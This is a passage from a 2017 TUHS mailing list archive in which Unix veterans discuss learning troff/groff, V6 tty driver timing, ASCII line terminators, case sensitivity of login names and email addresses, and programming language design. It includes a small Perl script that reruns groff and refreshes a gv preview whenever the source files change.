in a 32 bit unsigned with a max length of used space of around 134M.

So the vector is

	[0] = [size, used]
	[1] = first element
	[2] = second element
	...
	[0.used] = last element (I might be off by one)

You use it like so

	char	*v = 0;
	char	buf[MAXLINE];

	while (fgets(buf, sizeof(buf), stdin)) {
		/*
		 * v starts as null, the first one will reset it to a vector,
		 * as it grows, if realloc fails then the value of v will
		 * change.
		 */
		v = addLine(v, strdup(buf));
    	}

There are interefaces to do all the perl stuff, push, pop, shift,
unshift, sort, join, search, remove, insert, sort, reverse.  There is a
split that takes a blob and returns a vector, there is a shellSplit that
splits the way the bourne shell would, there is an interface to spawn a
program and return a vector, there is one to slurp a file into a vector
and the other way, etc.  There is pretty much everything you could want,
we used this everywhere in BitKeeper so it's very old, tested, stable.

It should be pretty easy to lift all that stuff out and stick it in a
library.  It's handy as heck and pleasant in that it's pretty small for
small stuff but scales up nicely for larger stuff.  I suppose you could
think of it as Lisp's list, i was never a Lisp fan, I think of it as 
Perl lists plus the supporting stuff.

lines.h:

http://repos.bkbits.net/bk/dev/src/libc/lines.h?PAGE=anno&REV=574729199TRQBrjF_tJiHFtKPHiJzQ

lines.c:

http://repos.bkbits.net/bk/dev/src/libc/utils/lines.c?PAGE=anno&REV=56cf7e34BTkDFx47E54DPNG51B2uCA


From gtaylor at tnetconsulting.net  Tue Sep  5 08:06:41 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Mon, 4 Sep 2017 16:06:41 -0600
Subject: [TUHS] Introduction to {t,r,g}roff & co...
Message-ID: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>

Hi,

Can anyone point to an introduction to {t,r,g}roff / pic / tbl / etcetera?

I've respected them for years and with all the latest discussions about 
them I'd like to try and learn something.

Any pointers would be appreciated.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/b190d81b/attachment.bin>

From lyndon at orthanc.ca  Tue Sep  5 08:18:35 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Mon, 4 Sep 2017 15:18:35 -0700
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
References: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
Message-ID: <55023784-D0BB-48FF-9337-0C070FD02CEC@orthanc.ca>


> On Sep 4, 2017, at 3:06 PM, Grant Taylor <gtaylor at tnetconsulting.net> wrote:
> 
> Can anyone point to an introduction to {t,r,g}roff / pic / tbl / etcetera?

troff.org is one of the best places to start out.



From jnc at mercury.lcs.mit.edu  Tue Sep  5 08:44:07 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Mon,  4 Sep 2017 18:44:07 -0400 (EDT)
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
	Not My Favorite Programming Language - Unearthed!]
Message-ID: <20170904224407.C7BB218C0B2@mercury.lcs.mit.edu>

    > From: Chris Torek

    > termcap has entries for the number of NUL characters to insert after
    > carriage return.

Actually, the stock terminal driver in V6 Unix (here:

  http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/dmr/tty.c

if anyone wants to see the actual code; it's in ttyoutput()) had some pretty
complex code to do just the right amount of delay (in clock ticks) for a large
number of different motion contral characters (TAB, etc, in addition to LF and
CR), and then uses the system timer to delay that amount of real time after
sending such a character (see the very bottom of ttstart()).

E.g. for a NL, it used the fact that it 'knew' which column the print head was
in to calculate the exact return time.

Clever, but alas, it did this by sticking 'characters' in the buffered output
stream with the high bit set, and the delay required in the low 0177 bits,
which the output start routine interpreted; as the code drolly notes, "thus
(unfortunately) restricting the transmission path to 7 bits". Which was a real
PITA recently when I tried to download a binary file to an LSI-11 from a V6
running in Ersatz-11! I had to tweak the TTY driver to allow 8-bit output...

   Noel


From clemc at ccc.com  Tue Sep  5 08:53:53 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 4 Sep 2017 18:53:53 -0400
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
References: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
Message-ID: <CAC20D2NGe9R=42Ek5HnpMCZRjTt9Et6VkfVaQTNfZSCq00uNwQ@mail.gmail.com>

The Unix Programming Environment
<https://www.amazon.com/Unix-Programming-Environment-Prentice-Hall-Software/dp/013937681X>
has
a nice chapter on the *roff family as well as other classic UNIX skills.
In fact Rob continues to maintain a web page describing the book which is a
classic:

   - Rob's UPE Page
   <http://books.cat-v.org/computer-science/unix-programming-environment/>

Obviously you still buy a copy from amazon by following that URL or the
like or you can just download and print it from: UPE Download from
cs.uwec.edu
<http://cs.uwec.edu/~buipj/teaching/cs.388.s14/static/pdf/upe.pdf>


On Mon, Sep 4, 2017 at 6:06 PM, Grant Taylor <gtaylor at tnetconsulting.net>
wrote:

> Hi,
>
> Can anyone point to an introduction to {t,r,g}roff / pic / tbl / etcetera?
>
> I've respected them for years and with all the latest discussions about
> them I'd like to try and learn something.
>
> Any pointers would be appreciated.
>
>
>
> --
> Grant. . . .
> unix || die
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/49e283a7/attachment.html>

From norman at oclsc.org  Tue Sep  5 09:22:45 2017
From: norman at oclsc.org (Norman Wilson)
Date: Mon, 04 Sep 2017 19:22:45 -0400
Subject: [TUHS] Introduction to {t,r,g}roff & co...
Message-ID: <1504567369.1361.for-standards-violators@oclsc.org>

Call me old-fashioned, but I still think the papers in Volume 2
of the Seventh Edition manual are a good straightforward start.
There's a tutorial on troff, and papers introducing eqn, tbl,
and refer.

Norman Wilson
Toronto ON


From gtaylor at tnetconsulting.net  Tue Sep  5 09:35:56 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Mon, 4 Sep 2017 17:35:56 -0600
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <1504567369.1361.for-standards-violators@oclsc.org>
References: <1504567369.1361.for-standards-violators@oclsc.org>
Message-ID: <00cbc8eb-c46d-bbd5-2245-fa90ef92b291@tnetconsulting.net>

On 09/04/2017 05:22 PM, Norman Wilson wrote:
> Call me old-fashioned, but I still think the papers in Volume 2
> of the Seventh Edition manual are a good straightforward start.
> There's a tutorial on troff, and papers introducing eqn, tbl,
> and refer.

Why am I not surprised that "A TROFF Tutorial" is written by Brian 
Kernighan.

Link - A TROFF Tutorial
  - https://wolfram.schneider.org/bsd/7thEdManVol2/trofftut/trofftut.html



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/93a7b110/attachment.bin>

From gtaylor at tnetconsulting.net  Tue Sep  5 09:36:44 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Mon, 4 Sep 2017 17:36:44 -0600
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
References: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
Message-ID: <de7c4eb0-ee3c-7f0b-46bd-51f763774e03@tnetconsulting.net>

On 09/04/2017 04:06 PM, Grant Taylor wrote:
> Any pointers would be appreciated.

Thank you all for the pointers.

I'm sure that I can get myself sufficiently deep in the *roff rabbit 
hole with this.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/24c6f0d0/attachment.bin>

From lm at mcvoy.com  Tue Sep  5 12:19:57 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 4 Sep 2017 19:19:57 -0700
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <55023784-D0BB-48FF-9337-0C070FD02CEC@orthanc.ca>
References: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
 <55023784-D0BB-48FF-9337-0C070FD02CEC@orthanc.ca>
Message-ID: <20170905021957.GF14353@mcvoy.com>

Hi Grant, 

Somehow I missed your initial email, time to check my spam filters
I guess.

All this rambling below boils down to one thing: if you need help
with roff, I'm your guy.  Tell me what you want to do and I can
probably come up with some example stuff that you can play with.

I would suggest groff as a good start.  James did a great job.  There is
the heirloom stuff, I've played with it, my take is that it is like
Keith's nvi stuff, true to the origin but not useful because the world
has moved on.  Groff is my goto roff tool.

Anyhoo, I *love* troff and the preprocessors, I can draw pictures in my
head and then draw them in pic (I've done a lot of pic, got James to put
an extension in gnu pic so that you could iterate through the N things
you just drew, I can show you an exampe).

I _think_ I have the sources to the troff docs, I feel like I did a
project at one point to modernize how they looked.  

So you've gotten some good suggestions, I'm a fan of the original
docs though.  I still have the stack of docs that I bought at the 
UW Madison computing center - n/troff doc, pic, eqn, tbl.  Then 
there were various others, like grap, chem, etc.

I love all that stuff because it was designed at a time where you did
your markup and you sent it to the lab where the printer was and you
got it the next day or so.  There were no bitmapped displays, all this
stuff was done on 80x24 CRTs.  So the markup language, the pic stuff,
the eqn stuff, it all had to be something that you could see in your
head and put down in text.

That fits really well with how I think, I love the roff ecosystem to
this day (and I've done conference proceedings in roff and in LaTex,
I much prefer roff and the funny thing is when I show LaTex people
roff they go, wow, simple).

On Mon, Sep 04, 2017 at 03:18:35PM -0700, Lyndon Nerenberg wrote:
> 
> > On Sep 4, 2017, at 3:06 PM, Grant Taylor <gtaylor at tnetconsulting.net> wrote:
> > 
> > Can anyone point to an introduction to {t,r,g}roff / pic / tbl / etcetera?
> 
> troff.org is one of the best places to start out.

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From noel.hunt at gmail.com  Tue Sep  5 12:21:05 2017
From: noel.hunt at gmail.com (Noel Hunt)
Date: Tue, 5 Sep 2017 12:21:05 +1000
Subject: [TUHS] Future Languages
In-Reply-To: <d58d7b6933bca6fcce5a3019ad4f8aee7df564fc@webmail.yaccman.com>
References: <1504450095.23320.for-standards-violators@oclsc.org>
 <d58d7b6933bca6fcce5a3019ad4f8aee7df564fc@webmail.yaccman.com>
Message-ID: <CAGfO01xnXSNcZeccFFjoK+xFXZuxGjR_VfxZr+hVFqSyWzKWzg@mail.gmail.com>

Some little while ago, I mentioned the example of Doug McIlroy's
solution to the problem of finding words in a dictionary with vowels
in vowel order, and in an access of gushing enthusiasm said it
showed 'genius'. Doug McIlroy disabused me of this idea, claiming
it was simply 'experience' and that other people at the labs at
the time would have come up with similar solutions. But he
cannot deny the level of 'creativity' or 'innovativity' involved
in the solution he provided, and I daresay the people employed at
the labs were chosen because they were similarly creative or
innovative.

I believe this is exactly what Norman Wilson was talking about:
'Programming well takes discipline and skill and experience' to
which I would add 'creativity'. The first three can be learned to
a great extent. Thus, 'There is no royal language to good programs'.


On Tue, Sep 5, 2017 at 7:28 AM, Steve Johnson <scj at yaccman.com> wrote:

>
> "From:
> "Norman Wilson" <norman at oclsc.org>
>
>
> I'm (still) with Larry Flon on this one:
>
> There does not now, nor will there ever, exist a programming language
> in which it is the least bit hard to write bad programs."
>
> Well, there's bad and there's bad.   Programs that are the result of
> flawed thinking or a misunderstanding of the language or the environment
> can't be helped by a programming language.  Programs with a well
> thought-out and appropriate set of concepts and structures can be hard to
> write if the language doesn't support these concepts and structures.  That
> was the point of Brian's note.  If the language doesn't support what you
> want to, danger may lie ahead.
>
> A particularly vivid example for me is string handling -- I mean real
> strings, with concatenation and the ability to add characters onto the
> beginning, middle or end of the string .  At one point in the past, Bell
> Labs and Xerox Parc were two groups that had produced some impressive
> programs.  I spent some time at Parc, and ended up envious about the
> ability of LISP programmers to dynamically add on to almost anything with a
> high degree of safety.  This really changed the way one thought about some
> programs.  Doing strings in C usually involves pointers pointing at small
> things, which, given how easy it is to index past the end, was like playing
> with razor blades.   C++ allowed you to surround such things with safety
> nets, but sometimes the performance impact was unfortunate.   A similar
> example  is the ability to grow an array.  This plays very badly with C's
> pointers -- if you move the array, then anybody pointing to it (and, often,
> there are many such) has a stale pointer-bomb that could go off at any time
> without warning.  If you don't move the array, but add on additional
> pieces, then it is no longer contiguous, so some operations (like scanning
> all the elements) get very complicated as well.
>
> I don't think there would be much argument that writing a garbage
> collector from scratch in plain C is hard and dangerous.  Using a language
> that has garbage collection built in makes sense, assuming you can afford
> the performance penalty.  Using a better algorithm is a better bet, but may
> be impossible.
>
> The C/C++ model of a single large common address space has caused problems
> for parallel programs for decades, first with message passing and later
> with multicore.  In multicore, the "solution" is increasingly sophisticated
> caches and cache coherency circuits that can end up thrashing and making
> things slower if not well understood.  And the best solution may well be
> dependent of the particular chip.
>
> These are, for the most part, examples of how powerful and useful models
> don't fit into C's world view very comfortably.  A lot of C's power, and
> Pascal's deficiencies, come because C doesn't prevent you from doing things
> that are outside of its model, and Pascal does.
>
> Maybe it would be more precise to say that some languages strictly enforce
> their world view, making programs that accord with that world view easy and
> others difficult.  And other languages loosely enforce their world view,
> making it possible to do more than the former languages, often with
> performance advantages, but with more danger that bugs will not be detected.
>
> I guess I like Demer's wording better...
>
> Steve
>
>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170905/96cd1568/attachment.html>

From gtaylor at tnetconsulting.net  Tue Sep  5 12:42:00 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Mon, 4 Sep 2017 20:42:00 -0600
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <20170905021957.GF14353@mcvoy.com>
References: <aa208898-062b-f732-6d34-a376d7830a8b@tnetconsulting.net>
 <55023784-D0BB-48FF-9337-0C070FD02CEC@orthanc.ca>
 <20170905021957.GF14353@mcvoy.com>
Message-ID: <65f82734-df50-2d7f-3e67-37f5eaefbcb5@tnetconsulting.net>

On 09/04/2017 08:19 PM, Larry McVoy wrote:
> Hi Grant, 

Hi Larry,

> Somehow I missed your initial email, time to check my spam filters
> I guess.

Ah, spam filters, the never ending battle.  I've been doing that for ...
much longer than I care to admit.  (Double digit years.)

> All this rambling below boils down to one thing: if you need help
> with roff, I'm your guy.  Tell me what you want to do and I can
> probably come up with some example stuff that you can play with.

Thank you Larry, your offer is very much appreciated.

I don't have a project that I'm working on per say.  Rather I've always
respected *roff and the recent threads on the TUHS list have stirred a
long standing interest.

> I would suggest groff as a good start.  James did a great job.  There is
> the heirloom stuff, I've played with it, my take is that it is like
> Keith's nvi stuff, true to the origin but not useful because the world
> has moved on.  Groff is my goto roff tool.

I'm okay learning some history while learning new things.  What I don't
learn initially, I like to circle back and learn more.  -  Sort of like
why I subscribe and participate in TUHS.

> Anyhoo, I *love* troff and the preprocessors, I can draw pictures in my
> head and then draw them in pic (I've done a lot of pic, got James to put
> an extension in gnu pic so that you could iterate through the N things
> you just drew, I can show you an exampe).

I'd be interested in seeing an example, if it's handy.

I was going through "troff and its companion programs" (troff and its
companion programs) briefly at work and found it to be fairly easy to
follow to see some initial results.

> I _think_ I have the sources to the troff docs, I feel like I did a
> project at one point to modernize how they looked.  

I have a dead tree copy of "UNIX Text Processing" somewhere and have
thumbed through it multiple times.

I was pleasantly surprised to see m4 in there, something I occasionally
choose to use for new projects.

> So you've gotten some good suggestions, I'm a fan of the original
> docs though.  I still have the stack of docs that I bought at the 
> UW Madison computing center - n/troff doc, pic, eqn, tbl.  Then 
> there were various others, like grap, chem, etc.

I've already started lifting an eyebrow at things like the fact that
chem is an awk script.  -  I've done more in awk than some, but am
impressed, and want to learn more.  -  What it does, how it does it, and
how I might be able to apply that methodology to other things.

> I love all that stuff because it was designed at a time where you did
> your markup and you sent it to the lab where the printer was and you
> got it the next day or so.  There were no bitmapped displays, all this
> stuff was done on 80x24 CRTs.  So the markup language, the pic stuff,
> the eqn stuff, it all had to be something that you could see in your
> head and put down in text.

I'm cool with that.

One of the current questions is how, and why, people chose different
macro packages.

I do see why someone would use (or write / modify) macros to do some
basic things in *roff.  -  I suspect it's similar to what I've hard of
people do in assembly programming.  Namely write in the macro language
that is then expanded to the lower layer *roff.

My knee jerk reaction for expanding short text (macros) into longer text
with logic would be m4.  But I want to learn the *roff world before I
get off course.

> That fits really well with how I think, I love the roff ecosystem to
> this day (and I've done conference proceedings in roff and in LaTex,
> I much prefer roff and the funny thing is when I show LaTex people
> roff they go, wow, simple).

:-)



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170904/1305d6bf/attachment.bin>

From random832 at fastmail.com  Tue Sep  5 21:15:49 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 05 Sep 2017 07:15:49 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal
 isNot My Favorite Programming Language - Unearthed!]
In-Reply-To: <20170904093708.E07EC150A5B2@macaroni.inf.ed.ac.uk>
References: <20170904093708.E07EC150A5B2@macaroni.inf.ed.ac.uk>
Message-ID: <1504610149.3705790.1095602960.1F439B61@webmail.messagingengine.com>

On Mon, Sep 4, 2017, at 05:37, Richard Tobin wrote:
> > As I recall, the original definition of ASCII suggested that the
> > LF character was either "line feed" or "new line", and that if it
> > *was* new-line, it would be stand-alone.
> 
> I have put a copy of the original ASCII standard (scanned images) at
> 
>   http://www.cogsci.ed.ac.uk/~richard/ascii.tar
> 
> I don't remember where I got it from.

I found the same document online at
http://www.worldpowersystems.com/J/codes/index.html

Incidentally, does anyone know anything about the 1961 DoD 8-bit
character set standard it refers to?

This does not appear to say anything about LF vs "Newline" (as either a
name or a function), though the 1986 version of ASCII deprecates it, so
was most likely acknowledged in versions between these in response to
practices on OSes such as Multics. ECMA-6:1973 acknowledges it, for
example (the fourth edition at
https://www.ecma-international.org/publications/standards/Ecma-006-arch.htm).


From doug at cs.dartmouth.edu  Tue Sep  5 21:37:16 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Tue, 05 Sep 2017 07:37:16 -0400
Subject: [TUHS] It is time to modernise "groff"
Message-ID: <201709051137.v85BbGTU005695@coolidge.cs.Dartmouth.EDU>

> > p) Remove the '-a' option (the ASCII approximation output).
> 
> I didn't even know this existed.  Looking at what it spits out, I find
> myself wondering what good it is.  Is this for Unix troff compatibility?
> For people who didn't even have glass TTYs and needed to imagine what
> the typeset output would look like?

Here's a classic use:

Since groff is not WYSIWYG, the experimental cycle is long:
edit - save - groff - view. In many cases that cycle can be
short-circuited by typing straight into groff -a.

doug


From random832 at fastmail.com  Tue Sep  5 23:02:42 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 05 Sep 2017 09:02:42 -0400
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
References: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
Message-ID: <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>

On Mon, Sep 4, 2017, at 14:32, Doug McIlroy wrote:
> Because of the model 33, login names were case-insesitive.
> Come to think of it, I don't know whether they still are
> in general, though they must be for email to be delivered by
> login name.

Looking at the code for getty in various versions, it looks like 4.2BSD
and System V changed this to "if the name was entered in all uppercase,
convert it to lowercase, else leave it alone" - 4.1cBSD and System III
(and earlier) had it unconditionally convert to lowercase, detecting
whether it was entered in all uppercase in order to set the tty mode. 

As for email, the email standards don't make any guarantee that the
username portion of addresses will be case insensitive. From what I can
find, sendmail by default converts all characters in the username
portion to lowercase (thus allowing email addresses to be
case-insensitive for delivery to local usernames that must be in all
lowercase), and has an option to treat it as case-sensitive instead.

(All of this can probably be rounded down to "Usernames should be
defined as all-lowercase")


From steffen at sdaoden.eu  Tue Sep  5 23:18:38 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Tue, 05 Sep 2017 15:18:38 +0200
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
References: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
 <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
Message-ID: <20170905131838.2UA-i%steffen@sdaoden.eu>

Random832 <random832 at fastmail.com> wrote:
 |On Mon, Sep 4, 2017, at 14:32, Doug McIlroy wrote:
 |> Because of the model 33, login names were case-insesitive.
 |> Come to think of it, I don't know whether they still are
 |> in general, though they must be for email to be delivered by
 |> login name.
 |
 |Looking at the code for getty in various versions, it looks like 4.2BSD
 |and System V changed this to "if the name was entered in all uppercase,
 |convert it to lowercase, else leave it alone" - 4.1cBSD and System III
 |(and earlier) had it unconditionally convert to lowercase, detecting
 |whether it was entered in all uppercase in order to set the tty mode. 
 |
 |As for email, the email standards don't make any guarantee that the
 |username portion of addresses will be case insensitive. From what I can
 |find, sendmail by default converts all characters in the username
 |portion to lowercase (thus allowing email addresses to be
 |case-insensitive for delivery to local usernames that must be in all
 |lowercase), and has an option to treat it as case-sensitive instead.
 |
 |(All of this can probably be rounded down to "Usernames should be
 |defined as all-lowercase")

If i recall correctly the email standards go for case-preserving
all through, to leave it up to the destination to apply whatever
is appropriate locally.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From steve at quintile.net  Tue Sep  5 23:27:35 2017
From: steve at quintile.net (Steve Simon)
Date: Tue, 5 Sep 2017 14:27:35 +0100
Subject: [TUHS] It is time to modernise "groff"
In-Reply-To: <201709051137.v85BbGTU005695@coolidge.cs.Dartmouth.EDU>
References: <201709051137.v85BbGTU005695@coolidge.cs.Dartmouth.EDU>
Message-ID: <DD806FB4-A62F-49DA-9253-2225D09046D7@quintile.net>



On 5 Sep 2017, at 12:37, Doug McIlroy <doug at cs.dartmouth.edu> wrote:

>>> p) Remove the '-a' option (the ASCII approximation output).
>> 
>> I didn't even know this existed.  Looking at what it spits out, I find
>> myself wondering what good it is.  Is this for Unix troff compatibility?
>> For people who didn't even have glass TTYs and needed to imagine what
>> the typeset output would look like?
> 
> Here's a classic use:
> 
> Since groff is not WYSIWYG, the experimental cycle is long:
> edit - save - groff - view. In many cases that cycle can be
> short-circuited by typing straight into groff -a.
> 
> doug

i take a different approach.

i try to minimise the number of edit, troff, view cycles by typing as much of the text in as i can before viewing, relying on troff, tbl, and friends to make it look good.

this stops me from being distracted by layout and keeps me on the important stuff - the content.

the fact that troff is slower to display proofs than a WYSIWYG editor is, IMHO, a positive advantage.

-Steve




From lm at mcvoy.com  Wed Sep  6 00:14:34 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 5 Sep 2017 07:14:34 -0700
Subject: [TUHS] It is time to modernise "groff"
In-Reply-To: <201709051137.v85BbGTU005695@coolidge.cs.Dartmouth.EDU>
References: <201709051137.v85BbGTU005695@coolidge.cs.Dartmouth.EDU>
Message-ID: <20170905141434.GL14353@mcvoy.com>

On Tue, Sep 05, 2017 at 07:37:16AM -0400, Doug McIlroy wrote:
> > > p) Remove the '-a' option (the ASCII approximation output).
> > 
> > I didn't even know this existed.  Looking at what it spits out, I find
> > myself wondering what good it is.  Is this for Unix troff compatibility?
> > For people who didn't even have glass TTYs and needed to imagine what
> > the typeset output would look like?
> 
> Here's a classic use:
> 
> Since groff is not WYSIWYG, the experimental cycle is long:
> edit - save - groff - view. In many cases that cycle can be
> short-circuited by typing straight into groff -a.

If that is the one that makes pic try to do stuff in ascii I've used
that a lot in the days of yore.

I've found, maybe it's no longer true, but back when I was at Sun 25
years ago, that I got farther with execs if I formatted my stuff two
ways: as postscript (or PDF today) and as ascii.  I would send the
ascii version with a header that said "Read this, this is what I 
was babbling about, there is a printable version attached".

It was crazy but my influence with the execs went way up and I came
to the conclusion they didn't read attachments.

That's probably all changed, everyone has a mailer that formats
html and people send their stuff that way.

But there's another use for -a.


From arnold at skeeve.com  Wed Sep  6 00:18:20 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Tue, 05 Sep 2017 08:18:20 -0600
Subject: [TUHS] Introduction to {t,r,g}roff & co...
In-Reply-To: <1504567369.1361.for-standards-violators@oclsc.org>
References: <1504567369.1361.for-standards-violators@oclsc.org>
Message-ID: <201709051418.v85EIKmi019519@freefriends.org>

Norman Wilson <norman at oclsc.org> wrote:

> Call me old-fashioned, but I still think the papers in Volume 2
> of the Seventh Edition manual are a good straightforward start.
> There's a tutorial on troff, and papers introducing eqn, tbl,
> and refer.
>
> Norman Wilson
> Toronto ON

I would also recommend finding a copy of "Software Tools" or "Software
Tools in Pascal" (or both!) and reading the chapters where they
write a "little brother" to nroff, explaining many of the basic ideas
along the way.

Arnold


From lm at mcvoy.com  Wed Sep  6 00:40:52 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 5 Sep 2017 07:40:52 -0700
Subject: [TUHS] It is time to modernise "groff"
In-Reply-To: <DD806FB4-A62F-49DA-9253-2225D09046D7@quintile.net>
References: <201709051137.v85BbGTU005695@coolidge.cs.Dartmouth.EDU>
 <DD806FB4-A62F-49DA-9253-2225D09046D7@quintile.net>
Message-ID: <20170905144052.GN14353@mcvoy.com>

So for those who want WYSIWYG this little script helps.  I call it "g"
and you run it like so

	g groff -ms -t my_tables.ms

in a terminal (or use &) and it will pop up gv on the processed file[s].
It sits in a loop and stats all the files and if any have changed it
reruns the roff and tells gv.
-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 
-------------- next part --------------
#!/usr/bin/perl

# Run the command into PS
# Run gv with the -watch option
# go into a loop watching the file and rerun command whenever the file
# has changed.

use POSIX ":sys_wait_h";

$usage = "usage: $0 comand -args -args file [file ...]\n";

foreach $file (@ARGV) {
	next unless -f $file;
	push(@files, $file);
}
die $usage unless $#files > -1;
$cmd = "@ARGV > PS.$ENV{USER}";
$gv = "gv -spartan -antialias PS.$ENV{USER}";
$gv = "gv --spartan --antialias --media=letter PS.$ENV{USER}";

system "$cmd";
$pid = fork;
if ($pid == 0) {
	exec $gv;
	die $gv;
}
# Read all the files looking for .so's so we catch the implied list.
# I dunno if groff catches nested .so's but we don't.
foreach $file (@files) {
	$stat{$file} = (stat($file))[9];
	open(F, $file);
	while (<F>) {
		next unless /^\.so\s+(.*)\s*$/;
		$stat{$1} = (stat($1))[9];
	}
	close(F);
}
while (1) {
	select(undef, undef, undef, .2);
	$kid = waitpid($pid,&WNOHANG);
	exit 0 if (kill(0, $pid) != 1);
	$doit = 0;
	foreach $f (keys %stat) {
		if ($stat{$f} != (stat($f))[9]) {
			$stat{$f} = (stat($f))[9];
			$doit = 1;
		}
	}
	if ($doit) {
		system $cmd;
		kill(1, $pid);
	}
}

From clemc at ccc.com  Wed Sep  6 00:46:11 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 5 Sep 2017 10:46:11 -0400
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
References: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
 <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
Message-ID: <CAC20D2P5dZMxwkZ_53VUaUZSCep9-b7-hpCsVmM+KtiaAB2bcA@mail.gmail.com>

“We're doomed to repeat the past no matter what. That's what it is to be
alive. It's pretty dense kids who haven't figured that out by the time
they're ten.... Most kids can't afford to go to Harvard and be
misinformed.”
― Kurt Vonnegut Jr.
<https://www.goodreads.com/author/show/2778055.Kurt_Vonnegut_Jr_>, Bluebeard
<https://www.goodreads.com/work/quotes/6582745>

On Tue, Sep 5, 2017 at 9:02 AM, Random832 <random832 at fastmail.com> wrote:

>
> As for email, the email standards don't make any guarantee that the
> username portion of addresses will be case insensitive.

Actually they do, RFC722 was not quite as crisp as this which 833 replaced,
but even with 722 the intention was pretty clear and examples described
"case independence of certain special atoms."   With 833, Crocker cleaned
up the language to be simply:

>From RFC833, Section 3.4.7 CASE INDEPENDENCE

Except as noted, alphabetic strings may be represented in any combination
of upper and lower case. The only syntactic units which requires
preservation of case information are:

   - text
   - qtext
   - dtext
   - ctext
   - quoted-pair
   - local-part, except "Postmaster"

   When matching any other syntactic unit, case is to be ignored.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170905/7a96295c/attachment.html>

From johnl at johnlabovitz.com  Wed Sep  6 01:05:43 2017
From: johnl at johnlabovitz.com (John Labovitz)
Date: Tue, 5 Sep 2017 11:05:43 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal
 isNot My Favorite Programming Language - Unearthed!]
In-Reply-To: <1504610149.3705790.1095602960.1F439B61@webmail.messagingengine.com>
References: <20170904093708.E07EC150A5B2@macaroni.inf.ed.ac.uk>
 <1504610149.3705790.1095602960.1F439B61@webmail.messagingengine.com>
Message-ID: <D0EFD194-A591-42EE-B14B-66D484EEE815@johnlabovitz.com>

On Sep 5, 2017, at 7:15 AM, Random832 <random832 at fastmail.com> wrote:

> Incidentally, does anyone know anything about the 1961 DoD 8-bit
> character set standard it refers to?

I have a book here called _Coded Character Sets, History and Development_ (C.E. Mackenzie, 1980, Addison-Wesley) that is a wealth of info.

